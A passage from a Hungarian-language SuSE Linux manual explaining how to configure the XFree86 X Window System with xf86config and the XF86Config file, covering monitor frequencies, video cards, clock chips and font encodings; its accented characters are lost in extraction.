vzszintes szinkron (hsync) kHz-ben; monitor tpus a karakteres mdokhoz 1 31.5; Standard VGA, 640x480 @ 60 Hz 2 31.5 - 35.1; Super VGA, 800x600 @ 56 Hz 3 31.5, 35.5; 8514 Compatible, 1024x768 @ 87 Hz interl. (no 800x600) 4 31.5, 35.15, 35.5; Super VGA, 1024x768 @ 87 Hz il., 800x600 @ 56 Hz 5 31.5 - 37.9; Extended Super VGA, 800x600 @ 60 Hz, 640x480 @ 72 Hz 6 31.5 - 48.5; Non-Interlaced SVGA, 1024x768 @ 60 Hz, 800x600 @ 72 Hz 7 31.5 - 57.0; High Frequency SVGA, 1024x768 @ 70 Hz 8 31.5 - 64.3; Monitor that can do 1280x1024 @ 60 Hz 9 31.5 - 79.0; Monitor that can do 1280x1024 @ 74 Hz 10 rtkek egyedi megadsa (hsync) A vlasztst gpelje be (1-10):

8.5.2 kperny lista: A vzszintes frekvencia megadsa o Csak egy mdot vlaszthatunk az el re deniltak kzl, ha nem vagyunk o biztosak a monitor belltsi rtkeiben. A 10 menpont vlasztsval egyedi rtkeket adhatunk meg. A kvetkez oldalon a fgg leges frekvencit llthatjuk be (lsd mg a 8.5.3 o o kperny listt). Ismtelten javasolt az egyedi, konkrt rtkek megadsa (az o 5-s menpont vlasztsval) az 1 - 4 menpontok vlasztsa helyett.
1 2 3 4 5 50-70 50-90 50-100 40-150 rtkek egyedi megadsa (vsync)

A vlasztst gpelje be (1-5):

8.5.3 kperny lista: Fgg leges frekvencia megadsa o o Ezutn adjuk meg monitorunk nevt, a gyrt nevt, illetve a modell tpusszmt:
Gpeljk be a monitor azonostjt: A monitor gyrtja: A modell tpusszma:
4

Termszetesen, minket nem hibztathat, amennyiben az ott megadott informci pontatlan!

267

8. Az X Window rendszer Ezek csak magyarz nevek, amelyek a rendszer dokumentlshoz szks gesek, a belltsokra tnylegesen nincsenek befolyssal. Az Enter egy-t ms utn gyorsan lenyomva az alaprtelmezett rtkek troldnak, amelyek tbbnyire elegend ek. o A monitor belltsok ezek utn elkszlnek. Grakus krtyk / X szerverek Most meg kell adnia a videkrtya tpust:
Ki akarjuk keresni a krtyt egy adatbzisbl?

Ha igennel vlaszolunk (a y lenyomsval), listt kapunk az ismert krtykrl. A listbl kivlaszthatjuk a videkrtyt a megfelel sorszm begpelsvel. o Ne bzzunk meg vakon az itt szerepl adatokban, mert lehetnek klnbsgek o a clockchip s a RAMDAC5 rtkekben! Ez az, amirt egy ks bbi menpontban be kell lltani a RAMDAC s a o clock chip rtkt, mg akkor is, ha ezt korbban mr megtrtnt. Az el re o megadott rtkek, mint extra opcik fognak megjelenni. A krtyadencik tartalmazzk a clock chip-ek, a RAMDAC s a hasznland X-szerver tpust. A tovbbiakban tbb hasznos (s pontost) informci kerlhet az XF86Config fjl eszkz rszbe (device section). Ne essnk pnikba, ha a videkrtynkat nem tartalmazza a lista! Visszatrhetnk a norml belltsokhoz a q megnyomsval. Csak akkor vlasszunk az el re denilt krtyk kzl a listrl, ha tulajdonsgai pontosan o megegyeznek (pontosan olyan tpus)! Hasonl nev krtya kivlasztsa nem u igazn javasolt. A hasonl elnevezsek nem mindig jelentik ugyanazt a hardvert... Tovbbi informcik a krtya belltsra vonatkozlag megtallhatk a 8.6 . fejezetben (272. oldal). A videkrtya belltsa utn az X-szerver belltsa kvetkezik. Az xf86cong megjelenti a lehet sgeket, ahogyan az megtallhat a 8.5.4 o kperny listban. o Az 5-s menpont csak akkor jelenik meg, ha a videkrtyt a listn szerepl k kzl vlasztottuk ki az el z pontban. Ebben az esetben vlasszuk az o o o 5-st, amely a krtynak megfelel X-szerver. o Miutn kivlasztottuk a szervert, a program megkrdezi, hogy ltrehozza-e az albbi, szimbolikus linket: /usr/X11R6/bin/X. Ha a y-nal vlaszolunk, megkrdezi, hogy az albbi helyen hozza-e ltre: /var/X11R6/ bin/X.
Kvnja belltani az albbi helyen: /var/X11R6/bin?

Vlaszoljunk igennel (az y lenyomsval), mg akkor is, ha nem mindig lehetsges rni a /usr-t. Ezutn, ha az el z ek sorn a 4-es menpontot vlasztottuk (a gyorstott o o szervert) egy men jelenik meg az sszes hozzfrhet gyorstott szerver o nevvel, ahogyan az az albbi helyen is szerepel lsd a 8.5.5 kperny listt. o
5

Random Access Memory Digital-to-Analogue Converter.

268

8.5. Bellts az xf86cong segtsgvel


1 Az XF86_Mono szerver. Ez egy monokrm szerver, amelynek mkdnie kell az sszes VGA-kompatibilis krtyval, u 640x480-as felbontsban (vagy nagyobban bizonyos SVGA chipkszletekkel). 2 Az XF86_VGA16 szerver. Ez egy 16 szn VGA szerver, amelynek u mkdnie kell az sszes VGA-kompatibilis krtyval. u 3 Az XF86_SVGA szerver. Ez egy 256 szn SVGA szerver, amely u szmos SVGA chipkszletet tmogat. Gyorstva megy nhny Cirrus and WD chipkszleten; tmogatja a 16/32-bites sznmlysget szmos Cirrus konfigurcin. 4 Gyorstott szerverek, melyek tartalmazzk az XF86_S3, XF86_Mach32, XF86_Mach8, XF86_8514, XF86_P9000, XF86_AGX, XF86_W32 s XF86_Mach64 szervereket. Ez a ngy szervertpus megfelel a ngy klnbz kperny o o megadsnak ("Screen" sections) az XF86Config-ban (vga2, vga16, svga, accel). 5 A szerver kivlasztsa a krtyalista alapjn, most XF86_S3. Melyik kperny tpust kvnja alaprtelmezetten futtani (1-4)? o

8.5.4 kperny lista: X szerver kivlasztsa o


Vlasszon az albbi gyorstott szerverek kzl: 1 2 3 4 5 6 7 8 XF86_S3 XF86_Mach32 XF86_Mach8 XF86_8514 XF86_P9000 XF86_AGX XF86_W32 XF86_MACH64

Melyik gyorstott szervert vlasztja:

. 8.5.5 kperny lista: Gyorstott X szerver opcik o Miutn az X-szervert kivlasztottuk, be kell lltani a grakus megjelenst is. El szr a vidememria mrett kell megadni, lsd a 8.5.6 kperny listt. o o Ezutn meg kell adnunk a videkrtya s annak gyrt nevt, majd a krtya tpusszmt. Ezek megint tjkoztat jelleg adatok, az u Enter megnyomsval az alaprtelmezettet rja be.
A videkrtya azonostja: A gyrt neve: A modell tpusszma :

Ha egy gyorstott szervert vlasztottunk, meg kell adnunk a RAMDAC rtkeket. Ez csak az S3 s az AGX szerverekre vonatkozik. A legtbb esetben, egyszer en az u Enter megnyomsa elegend . Ha olyan o krtyt adtunk meg, amelyik csak megfelel RAMDAC belltsokkal m ko u dik helyesen, ezt itt be kell lltani (lsd a 8.5.7 kperny listt). o 269

8. Az X Window rendszer
Mennyi vidememria van a videkrtyjn: 1 2 3 4 5 6 256K 512K 1024K 2048K 4096K Egyb

A vlaszts:

8.5.6 kperny lista: A vidememria megadsa o


1 2 3 4 5 6 7 8 9 10 11 12 AT&T 20C490 (S3 szerver) AT&T 20C498/21C498/22C498 (S3) AT&T 20C505 (S3) BrookTree BT481 (AGX) BrookTree BT482 (AGX) BrookTree BT485/9485 (S3) Sierra SC15025 (S3, AGX) S3 GenDAC (86C708) (autodetektlt) S3 SDAC (86C716) (autodetektlt) STG-1700 (S3) TI 3020 (S3) TI 3025 (S3) att20c490 att20c498 att20c505 bt481 bt482 bt485 sc15025 s3gendac sdac stg1700 ti3020 ti3025

8.5.7 kperny lista: A RAMDAC belltsa o Ezutn meg kell adnunk a clockchipet a gyorstst hasznl krtykhoz (lsd o o a 8.5.8 kperny listt). A clock chip megadsval elkerlhet k a zavar hibk, amint az belltsra kerlt.
1 2 3 4 5 6 7 8 9 10 11 12 13 AT&T 20C490 (S3 szerver) AT&T 20C498/21C498/22C498 (S3) AT&T 20C505 (S3) BrookTree BT481 (AGX) BrookTree BT482 (AGX) BrookTree BT485/9485 (S3) Sierra SC15025 (S3, AGX) S3 GenDAC (86C708) (autodetektlt) S3 SDAC (86C716) (autodetektlt) STG-1700 (S3) TI 3020 (S3) TI 3025 (S3) Norml DAC att20c490 att20c498 att20c505 bt481 bt482 bt485 sc15025 s3gendac s3_sdac stg1700 ti3020 ti3025 normal

8.5.8 kperny lista: A clock chip belltsa o Ha olyan krtyt vlasztottunk, amelyen nincs clock chip, csak nyomjunk Enter (gy nem adunk meg clock chip-et). Ha a krtyt kivlasztottuk, a -t clock chip alaprtelmezettknt kerl belltsra. Ha semmilyen clock chipet sem lltottunk be, az xf86cong program javasolja a X -probeonly futtatst az id ztsek belltshoz. Ezeket automatio kusan a XF86Config-ban trolja klnbz clocks sorokban. o Most megprbljuk elmagyarzni, hogy az automatikus felismers mirt lehet igazn veszlyes: ha a krtn programozhat clock chip tallhat, akkor 270

8.5. Bellts az xf86cong segtsgvel az X-szerver, amikor kiprblja, nem tudja megklnbztetni a klnbz o rajeleket, s csak az albbiakat ismeri fel: 0, 1, s nha 2. Minden ms rtk valamilyen vletlen szm (normlisan 0, 1, s 2 ismtl dik, vagy nullkkal o hellyettest dik). o Minden rtk, a 0 s 1 kivtelvel, er sen fgg az el re programozott clock o o chipt l. Ezrt, a 2-es rtk ms belltsokat kaphat kiprblskor (s emiatt o a hibs rtkek kerlnek az XF86Config fjlba), mint amit az X-szerver ks bbi indulsakor hasznl. gy az sszes bellts elcsszhat, s ez a monitor o meghibsodst okozhatja! A programozhat clock chip (s a vele kapcsolatos problma is) felismerhet o az egymst kvet sok nulla vagy az ismtl d id ztsi rtkek lttn. Soo o o o hasem szabad ilyen rtkeket tallomra a XF86Config fjlba kzzel berni! A clock chipek belltsnak lpsei: A legjobb, ha megadjuk a ltez (programozhat) clock chip-et, ha van o ilyen. Ez automatikusan programozdik, gy az XF86Config nem fog tartalmazni erre vonatkoz sorokat. ssze kell vetni a krtyn szerepl o rtkeket a listban tallhatakkal. A legjabb S3 krtykon tallhat programozhat clock chip. Ha nincs programozhat clock chip, el kell indtanunk az X -probeonly programot s a kapott rtkeket ssze kell vetnnk a krtya lersban tallhatakkal. Ha az rtkek nem egyeznek (2), be kell rni az XF86Config fjlba. Ha a krtya lersban nincsenek ilyen tippek, megprblhatjuk a X -probeonly futtatst. Ellen rizzk az rtkek o helyessgt, mert az rtkek nem minden krtynl ismerhet k fel egyro telm en. (A sok egymst kvet nulla vagy az ismtl d rtkek hibs u o o o felismersre utalnak.) Gpeljk be a helyes rtkeket az XF86Config fjlba. Ne hagyjunk ki egyet sem kzlk s ne prbljuk megvltoztatni, vagy a sorrendjket felcserlni. Az rtkeket az eredeti sorrendjknek megfelel en kell begpelni. o Kivtel: ha a P9000 szervert hasznljuk a sorrend lnyegtelen; csak gpeljk be a megfelel rtkeket a clocks line sorba. o ltalban: ha van programozhat clock chip, akkornem kell szerepelnie erre utal sornak a XF86Config fjlban (kivve P9000 szerver hasznlatnl). Programozhat clock chip nlkli krtyk esetn kell szerepelni a clocks line-ra vonatkoz sornak a XF86Config fjlban. Ezzel megel zheto jk a fraszt (s nha igazn veszlyes) kiprblst minden indtskor. Tovbbmenve, azokon a krtykon, amelyeken ezek az rtkek kiolvashatatlanok, nincsenek rvnytelen (hibs) rtkek, gy nem tehetik tnkre a monitort. Azt el z ek elolvassa utn, ha az rajel rtkeket szeretnnk automatikuo o san felismertetni, vlaszoljunk igennel (az y megnyomsval) a kvetkez o krdsre:
Futtassam most az X -probeonly-t?

Ekkor a kperny elfeketedik, s a kiprblt rajelek listja megjelenik rajta, o vagy egy zenetet kapunk, hogy nincsen rajel. Ha kivlasztottunk egy clock 271

8. Az X Window rendszer chipet, ez a krds nem fog megjelenni, mert a chip programozsa automatikus. Ebben az esetben ez a rsz kihagyhat. Ha az el z krdsre igennel vlaszoltunk (az y lenyomsval) s a o o monitor tbb, mint 30 msodpercig stt maradt, a tesztelst azonnal be kell fejeznnk a Ctrl + Alt + billenty kombinci hasznlatval, u vagy a Ctrl + c lenyomsval. Ha ez nem m kdne, kapcsoljuk ki a u monitort, majd a szmtgpet, hogy a hardver nehogy megsrljn! A belltsok mentse Most a belltsokat kell elmenteni. Javasolt, hogy a /etc/XF86Config fjlba mentsk ki, hlzatos krnyezetben is jobb, ha minden gp sajt kongurcis fjllal rendelkezik mgha a /usr fjlrendszert megosztva is hasznljk. Az xf86cong el szr felknlja az XF86Config mentst az aktulis o knyvtrba. Erre vlaszoljon nemmel (az no megnyomsval):
Az aktulis knyvtrba szeretn menteni az XF86Config-ot?

Ezutn megkrdezi, hogy hov mentse ki az aktulis belltsokat:


Krem adja meg az elrsi utat s a fjlnevet:

Itt rjuk be a kvetkez t: /etc/XF86Config. o Ekkor az xf86cong program kilp, s megjelenik a prompt. Ezzel az XWindow rendszer belltsai befejez dnek. o

8.6

Az X Window rendszer teleptsnek optimalizlsa

Fordtotta: Vradi Istvn Ez a rsz az XFree86 4.0 verzijra vonatkozik s lerja a /etc/X11/ XF86Config belltsi fjlnak a felptst. Habr a SaX2 -vel tbb sszetett belltsi lpst vihetnk vghez, nagyon hasznos ismerni a belltsi fjl formjt. Ez a fjl rszekre (sections) oszlik, mindegyik kezdete Section <a rsz (section) neve> s az EndSection-nel vgz dik. Lejjebb, nagyjbl ttekintjk a legfontosabb rszeket (sections). o Ks bb megismerhetjk hogyan integrljunk be tovbbi bet kszleteket o u (fonts), miknt llthatunk be beviteli eszkzket (input devices) s a 3D gyorstk m kdst. Ezt szintn a XF86Config fjl bizonyos rszei u kezelik termszetesen, habr tovbbi bet k integrlsa kls programok seu o gtsgt ignyli, amelyek benne vannak a SuSE Linux-ban vagy rszei az alaprtelmezett teleptsnek. Az itt trgyalt metdus clja, hogy illusztrljuk az elrhet lehet sgeket s sztnz knt szolgljon, de nem trnk ki az o o o sszes eshet sgre. o A SaX2 s az xf86cong (az XFree86-4.0-hez) programok ltrehozzk az XF86Config fjlt alaprtelmezettknt a /etc/X11-ben. Ez az els dleges o belltsi fjl az X Window rendszer-hez. Itt megtallhatjuk az sszes belltst, ami a grakus krtynkra, egernkre s a kperny nkre vonatkozik. o 272

8.6. Az X Window rendszer teleptsnek optimalizlsa Az XF86Config tbb rszb l ll. Minden egyes rsz a belltsok egy o bizonyos aspektusval foglalkozik. A rszek mindegyike azonos formtum:
Section <name of section> entry 1 entry 2 entry n EndSection

273

8. Az X Window rendszer A kvetkez tpus rszek lteznek: o

Files ServerFlags InputDevice

Monitor

Modes

Device Screen

Ez a rsz rja le az sszes hasznlt elrsi utat s az RGB szntblzatot. Itt adjuk meg az ltalnos kapcsolkat. A beviteli eszkzket lltjuk be ebben a rszben. Az XFree86-3.3-mal ellenttben mindkett , a billenty o u zet s az egr, valamint a specilis beviteli eszkzk (touch pad, joysticks stb.) ebben a rszben kerlnek belltsra. Fontos szakszavak itt a Driver s a lehet sgek (options) amelyek meghatrozzk a o Protocol-t s a Device-t. A kperny lerst tartalmazza. Ebben a rszben tao llhat elemek tartalmazzk a nevet, amire a ks bbio ekben Screen denciknt hivatkozunk, a svszlessget (bandwidth) s a szinkronjelek frekvenciit (HorizSync s VertRefresh). A belltsok MHz-ben, kHz-ben s Hz-ben vannak megadva. A szerver rendszerint nem fogadja el az olyan modelinet, amely nem felel meg a kperny lersnak. Ezzel o megakadlyozza, hogy a kperny vletlenl tl nagy o frekvencit kapjon. A modeline paramtereket tartjuk itt a specilis kperny felbontsokhoz. Ezeket a paramtereket a o SaX2 szmtja ki a felhasznl ltal megadott rtkek alapjn s ltalban nem szksges megvltoztatni azokat. Ennl a pontnl beavatkozhatunk kzzel, ha pldul egy lland frekvencij kperny t akarunk o csatlakoztatni. Az egyes paramterek pontos elmagyarzsa tl sok lenne ebben a knyvben. Azonban az egyenknti szmrtkek jelentsr l rszleteo ket tallhatunk a /usr/share/doc/howto/ en/XFree86-Video-Timings-HOWTO.gz HOWTO fjlban. Ez a rsz meghatroz egy specilis grakus krtyt. Erre a ler neve alapjn utalunk. Ebben a rszben a Driver (pl. vga2), a monitor s a Device bejegyzsek alkotjk az XFree86 szmra szksges belltsokat. A Display alrszben megadhatjuk az adott virtulis kperny mreo tt (Virtual, valamint evvel a virtulis kperny vel o hasznlt ViewPort-ot s Modes)-t.

8.4 tblzat: folytats a kvetkez oldalon...... o

274

8.6. Az X Window rendszer teleptsnek optimalizlsa

ServerLayout Ez a rsz meghatrozza az egyes vagy tbbfejes bellts elrendezst. A beviteli eszkzk InputDevice s a megjelent eszkzk Screen o egy rszbe kerltek kombinlva.

8.4 tblzat: Rszek (Sections) a /etc/X11/XF86Config-ban Vizsgljuk meg kzelebbr l a Monitor, Device s Screen rszeket. A o tbbi szakasszal kapcsolatban lsd: man XF86Config. A XF86Config tbb klnbz Monitor rszt tartalmaz. El fordulhat az o o is, hogy tbb Screen rsz is van; az elindtott szervert l fgg, hogy melyik o az rvnyes. Screen rsz El szr is nzzk meg kzelebbr l a screen rszt. Mint mr emltettk, ez o o egy monitor s egy device rszt foglal magba, s meghatrozza a hasznlt felbontst s sznmlysget. A screen rsz hasonl a 8.6.1 fjllistn lthat pldhoz.
Section "Screen" Driver "accel" Device "Miro Crystal 40SV" Monitor "EIZO T563-T" DefaultColorDepth 16 Subsection "Display" Depth 8 Modes "1024x768" "800x600" "640x480" ViewPort 0 0 Virtual 1024 768 EndSubsection Subsection "Display" Depth 16 Modes "1280x960" "1152x864" "1024x768" "800x600" ViewPort 0 0 Virtual 1280 960 EndSubsection Subsection "Display" Depth 32 Modes "1024x768" "800x600" "640x480" ViewPort 0 0 Virtual 1024 768 EndSubsection EndSection

8.6.1 fjllista: Plda a /etc/XF86Config screen rszre A pldban lthat, hogy a Section Screen tbb sort tartalmaz, s minden egyes sor a kperny egy-egy elemt hatrozza meg. o Az els ezek kzl a Driver, amely megadja, hogy az adott rsz mely Xo szerverre vonatkozik. A 269on felsorolt szerverek a 8.5 tblzatban felsorolt kulcsszavakkal rhet k el. o 275

8. Az X Window rendszer

Accel Mono SVGA VGA2 VGA16

Specilis gyorstott szerverekhez Nem VGA 1 s 4 bites szerver Super VGA szerver 1 bites (monokrm) VGA szerver 4 bites VGA szerver

8.5 tblzat: A screen rsz meghajtkat jell kulcsszavak a o /etc/XF86Config-ban

Az XF86Config-ban minden egyes szerverhez kln rsz tartozik, amely csak akkor lesz hasznlva, ha a vonatkoz szerver elindul. A kvetkez kt sor, a Device s a Monitor, a belltshoz tartoz grao kus krtyt s kperny t hatrozza meg. A bejegyzsek az adott nev Device, o u illetve Monitor rszre mutatnak. Ezeknek a rszeknek a rszletes ismertetsre a ks bbiekben kerl sor. o A DefaultColorDepth meghatrozza, hogy milyen sznmlysgben induljon a szerver, ha nem adjuk meg kln a sznmlysget. Minden egyes sznmlysghez tartozik egy-egy Display alrsz. A Depth hatrozza meg az alrszhez tartoz sznmlysget. A Depth lehetsges rtkei 8, 16, 24 s 32. Nem minden X-szerver tmogatja az sszes zemmdot. A legtbb krtya esetn a 24 s a 32 bites sznmlysg gyakorlatilag ugyanaz, egyes krtyknl a 24 packed-pixel a 24 bit/pixeles zemmdot, viszont nhny msik krtynl a 32 padded-pixel zemmdot jelenti. A sznmlysget kveti a belltott felbontsok listja (Modes). Ezt a listt a szerver balrl jobbra haladva ellen rzi. Minden egyes felbontshoz mego keresi a megfelel Modeline-t, amely meg kell, hogy egyezzen a megadott o rajel-frekvencik egyikvel, vagy egy rajel-frekvencival a krtya programozshoz. Az els megtallt felbonts az gynevezett Default mode. A o Ctrl + Alt + szrke + billenty kombincival a listban eggyel jobbra lpve u vlthatunk a soron kvetkez felbontsra, a o Ctrl + Alt + szrke - billenty kkel pedig eggyel balra lphetnk, gy az X Windows futsa kzben u is mdosthatjuk a felbontst. Az alrsz utols kt sora a virtulis kperny o mretre s lehorgonyzsra vonatkozik. A mret a krtyn lv memria o mennyisgt l s a kvnt sznmlysgt l fgg, s nem a monitor maximlis o o felbontstl. Igen nagy virtulis munkaasztalt hozhatunk ltre, mivel a modern grakus krtyk nagy mennyisg vide memrival rendelkezdek. Viszont megu gyelhetjk, hogy ezutn nem tudjuk a 3D funkciit hasznlni, ha gyakorlatilag feltltjk a teljes vide memrit egy virtulis munkaasztallal. Ha a krtya 16 MB vide RAM-mal rendelkezik, pldul a virtulis kperny lehet o akr 4096x4096 (!) pixel nagysg is 8-bites sznmlysgben. 276

8.6. Az X Window rendszer teleptsnek optimalizlsa Klnsen gyorstott krtya hasznlata esetn nem ajnlott az sszes memrit a virtulis kperny hz felhasznlni, mivel a krtya memrijt klnfle o bet kszlet- s grakus gyorsttrak is hasznljk. u Device rsz Egy device rsz egy adott grakus krtyt r le. Az XF86Config fjl tetsz o leges szm device bejegyzst tartalmazhat, feltve, hogy a neveik klnbz ek, az Identifier kulcsszt hasznlva. o Az a szably ha tbb, mint egy grakus krtyt teleptettnk a rszek egyszer en meg vannak szmozva a behvs sorrendjben, az els a u o Device[0], a msodik Device[1] stb. A 8.6.2 fjllistban lthatunk egy rszletet a Device rszb l egy gpnek amelyikben egy MatroxMillenium o PCI grakus krtyt teleptettek.
Section "Device" BoardName "MGA2064W" BusID "0:19:0" Driver "mga" Identifier "Device[0]" VendorName "Matrox" Option "sw_cursor" EndSection

8.6.2 fjllista: A device rszlete a /etc/X11/XF86Config fjlnak Ha a SaX2 t hasznljuk a belltsra, akkor az eszkz rsz (device section) gy nz ki, mint a fenti bra. Mindkett , a Driver s a BusID termszetesen o fgg a gpnkn lv hardvert l s a SaX2 automatikusan rzkeli azokat. A o o BusID meghatrozza a PCI vagy AGP nylst (slot), amibe a grakus krtyt teleptettk. Ez illeszkedik (matches) az azonosthoz (ID) ami megjelenik az lspci parancsra. Itt jegyezzk meg, hogy az X szerver a rszleteket decimlis formban akarja, mg az lspci hexadecimlis formban jelenti meg azokat! A Driver paramteren keresztl meghatrozhatjuk a meghajtt, amit ehhez a grakus krtyhoz hasznlunk. Ha a krtya egy Matrox Millenium, akkor a meghajt modul neve mga. Az X szerver ekkor vgigkeresi a ModulePathot, amit a Files rsz alatt hatroztunk meg a drivers alknyvtrban. A szabvnyos teleptsnl ez a /usr/X11R6/lib/modules/drivers knyvtr. Ezrt egyszer en a _drv.o-t hozzadjuk a nvhez, gy az mga u meghajt esetben a meghajt fjl mga_drv.o kerl betltsre. Az X szerver vagy a meghajtk viselkedse tovbbi lehet sgeken (options) o keresztl is befolysolhat. Egy plda erre a lehet sgre az sw_cursor o amit az eszkz rszben (device section) lltunk be. Ez deaktivlja a hardveres egrmutatt s a szoftvert hasznl egrmutatt (cursor) brzolja. A meghajt modultl fgg en, klnfle lehet sgek llnak rendelkezsnkre, ameo o lyek megtallhatk a meghajt modulokat ler fjlokban a /usr/X11R6/ lib/X11/doc knyvtrban. ltalban indokolt lehet sgeket tallunk a o man XF86Config s man XFree86 alatt. 277

8. Az X Window rendszer Kperny rsz (Monitor Section) o A Monitor rszek mindegyike egy-egy kperny t r le, ugyangy ahogy a o device rszek egy-egy kperny vezrl -krtyt. A Monitor rszekb l is o o o brmennyi lehet az XF86Config-ban. A server layout rsz hatrozza meg, hogy melyik kperny rsz alkalmazhat. o A kperny dencikra is vonatkozik az, hogy csak gyakorlott felhaszno lk mdostsk ezeket. A kperny rsz legknyesebb rszei az gynevezett o modeline-ok, amelyek a vzszintes s fgg leges id ztseket lltjk be az o o adott felbontshoz. A kperny tulajdonsgok (properties), klnsen az engedlyezett frekveno cik, a kperny rszben tallhatk. o Ne mdostsuk a modeline-okat, ha nem ismerjk alaposan a kperny s o a grakus krtya m kdst, ellenkez esetben slyosan krosthatjuk a u o kperny t! o Azoknak, akik sajt kperny lersokat szeretnnek kidolgozni, hasznos leo het a /usr/X11/lib/X11/doc knyvtrban lv dokumentci. Az o [FCR93] knyv kln emltst rdemel. Ez rszletesen lerja a hardver m u kdst s a modelines ltrehozsnak mdjt. Szerencsre egy "kzi" modeline belltsra manapsg aligha van szksg. Ha modern multisync kperny t hasznlunk, a megengedett frekvencik s o az optimlis felbonts kiolvassra az a szably, hogy az kzvetlenl kiolvashat a kperny b l az X szerver ltal a DDC-n keresztl, amint azt lertuk o o a SaX2 belltsi rszben. Ha ez nem lehetsges valamely ok miatt, akkor hasznlhatjuk az egyik VESA mdot, ami az X szerverben benne van. Ez m kdni fog gyakorlatilag az sszes grakus krtya/kperny kombinciu o val. 8.6.1 Tovbbi (True Type) betukszletek beillesztse

Egy szabvny X11R6 X szerver telepts, sok bet kszletet is tartalmaz. Ezek u megtallhatk a /usr/X11R6/lib/X11/fonts knyvtrban, mindezeket felosztottk alknyvtrakban logikailag kapcsold csoportokra. Gy o z djnk meg rla, hogy csak azokat az X szerver alknyvtrakat hasznljuk, o amelyek meg vannak adva a /etc/X11/XF86Config fjl rszben, Files, mint FontPath. tartalmaznak egy rvnyes fonts.dir fjlt. nem lettek lezrva az xset fp paranccsal, mialatt az X szerver futott. vagy amelyek nem lettek elindtva az xset +fp paranccsal, mialatt az X szerver futott. Az XFree86 4.0 verzi ta, nem csak a sajt formtum Type1 (egy PostScript formtum) hasznlhat, mretezhet bet khz (fonts) s pcf o u a bitmapokhoz, de a ttf (angolul: true type font) is. Amint lertuk a 8.2 . fejezetben (238. oldal), ezt a tmogatst az X szerver betlthet moduljain o 278

8.6. Az X Window rendszer teleptsnek optimalizlsa keresztl nyjtja.gy az X szerverrel egytt hasznlhatunk olyan knyvtrakat is, amelyek true type bet ket tartalmaznak. Ehhez szinte semmi el ksztsre u o nincs szksg. Nagy el nye a legtbb true type bet nek, a nagyon j mretezhet sgkn o u o tl, hogy ezek a bet k majdnem mindig tbb karaktert tartalmaznak, mint u a norml 255 karakter, amit nyugat Eurpra az "iso-8859-1" alatt kdoltak. Ezekkel a bet kkel megjelenthetnk Cirill, Grg vagy kelet-eurpai nyelveu ket klnsebb problma nlkl, s specilis szoftverrel mg zsiai nyelveket is. Ez a lers a lnyege a 8-bites karakter kszletek hasznlatnak. Ha zsiai nyelvek karaktereit akarjuk hasznlni (japnt, kinait stb.), hasznlhatunk specilis szerkeszt ket, amelyek szintn elrhet k a SuSE Linux-ban. o o A 8-bites karakter kszlet 255 karaktert tartalmaz, s alapjban a US-ASCII karakter kszletet tartalmazza, ami csak az els 128 karaktert hatrozza meg o a lehetsges 255-b l, hogy kpes legyen b vteni tovbbi karakterekkel. Egy o o szveg karakter gy 8-bitet foglal el a szmtgp memrijban. A 127 karakter termszetesen nem elegend a specilis karakterekhez, pldul az o sszes eurpai nyelvhez, ezrt a klnbz nyelveket csoportokba osztottk o s ezeknek a csoportoknak adtak egy rvid nevet. A megfelel karakterkszo letet az idevonatkoz szabvny szerint neveztk el, pl. "iso-8859-x" karakter kszlet, ahol az x jelentse egy szm, 1-t l 15-ig. o Az iso-8859-1 karakter kszletben a karakterek pontos sorrendje megtallhat a man iso-8859-1 alatt. Tbb, jl ismert kdolst sorol fel a 8.6 tblzat, a tovbbiak megtallhatk a fentebb emltett manlapokban.

Font iso-8859-1 iso-8859-2 iso-8859-5 iso-8859-7 iso-8859-15

Tmogatott terletek, specilis karaktereket tartalmaznak Nyugat Eurpai nyelvek: Spanyol, Nmet, Francia, Svd, Finn, Dn s egyebek Kzp s Kelet Eurpa: Cseh, Romn, Lengyel, Magyar, Nmet s egyebek Cirill karakterek az Oroszhoz Grg karakterek a Grghz mint az iso-8859-1, de a Trk karakterekkel s az Euro jelek. 8.6 tblzat: Fontosabb bet (font) kdolsok u

A felhasznlnak ezutn ki kell a hasznlt nyelvt l fgg en vlasztania o o a megfelel kdolst. Klnsen amikor szvegeket mozgatunk klnbz o o gpek kztt, a hasznlt kdolst is tovbbtanunk kell. Az el nye ennek az o eljrsnak nyilvnval: A regionlis sajtos karakterek tmogatshoz csak ki kell vlasztanunk a megfelel kdolst s (majdnem) azonnal az sszes o program kpes lesz megjelenteni a specilis karaktereket, mivel (majdnem) az sszes program 8-bites rtket (egy bjtot) hasznl, a szveges karakter megjelentsre. Ha rossz kdolst vlasztunk akkor a specilis karakterek 279

8. Az X Window rendszer helytelenl jelennek meg. A legtbb X alkalmazssal, valamint a KDE munkaasztallal, ltalban kivlaszthatjuk a karakterkszlet kdolst amikor belltjuk a hasznland bet ket (font). Az X alkalmazsokban a kdolsra u rendszerint, mint Encoding-ra utalunk. A htrnya ennek metdusnak, hogy nhny nyelvet nem lehet kombinlni egymssal: Nem tudunk pldul knnyedn rni egy magyar szveget kezetekkel, amiben megemltnk egy Orosz helysgnevet cirill bet kkel. u Ezt a dilemmt csak egy msik megkzeltssel tudjuk feloldani, az Unicode hasznlatval. Az Unicode kdok karakterei az ASCII-tl eltr en nem o eggyel, hanem kett vel vagy ppen tbb bjttal, lehet v teszik lnyegesen o o tbb karakter megjelentst. Csak ha Unicode-ot hasznlunk akkor tudunk a gpnkn brzolni zsiai nyelveket tbb mint 127 karakterrel, mint pl. a kiniai, japn vagy koreai. A htrnya ennek a metdusnak, hogy a legtbb ltez szoftver nem tudja kezelni ezeket a karaktereket s csak specilis o szoftver hasznlatval tudunk rni s olvasni szveget Unicode karakterekkel. Ha tovbbi informcira van szksgnk a Unicode bet kszlet hasznlatu rl Linux alatt, akkor azt megtallhatjuk a http://www.unicode.org cmen. Vrhat, hogy a jv ben tbb s tbb program fogja tmogatni az o Unicode karaktereket. A SuSE Linux-ban a yudit programmal tudunk szveget beadni Unicode-ban. A yudit program megtallhat a yudit , xap alatt vagy a telepts utn a SuSE menn keresztl, az Irodai (Office) alatt s a Szerkeszt k (Editors) alatt. o Keressk meg a bet ket, amit telepteni akarunk az X Window System-be. u Ha van licenszelt true type bet kszletnk akkor egyszer en hasznlhatjuk u u azt a rendszernkben. Csatoljuk be a bet ket tartalmaz partcit, amint azt u lertuk a 19.11 . fejezetben (510. oldal) vagy a vonatkoz ikonon keresztl a munkaasztalrl. Ltestennk kell egy bet kszlet knyvtrat ha ez mg nem ltezik u s vltsunk t oda. A SuSE Linux-nak mr van egy /usr/X11R6/lib/ X11/fonts/truetype knyvtra, tmsolhatjuk a vonatkoz bet kszu letet ebbe a knyvtrba.
